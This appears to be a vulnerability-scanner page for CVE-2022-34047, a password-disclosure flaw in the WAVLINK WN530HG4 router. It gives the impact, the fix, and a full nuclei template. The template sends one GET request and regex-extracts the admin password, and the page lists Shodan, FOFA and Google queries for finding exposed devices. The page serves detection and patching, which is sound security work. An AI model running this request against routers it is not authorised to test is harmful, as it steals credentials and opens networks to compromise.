WAVLINK WN530HG4 - Improper Access Control

highseverity

7.5CVSS score

22.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET /set_safety.shtml?r=52300
Positive when: contains "var syspasswd=\"" and "<title>APP</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34047 -u <target>

The full check

id: CVE-2022-34047

info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
    - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34047
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34047
    cwe-id: CWE-668
    epss-score: 0.22194
    epss-percentile: 0.97695
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wn530hg4"
      - http.title:"wi-fi app login"
    fofa-query:
      - body="wn530hg4"
      - title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,router,exposure,packetstorm,vuln

http:
  - raw:
      - |
        GET /set_safety.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'

References

Use this check only on systems you are authorised to test. Where the data comes from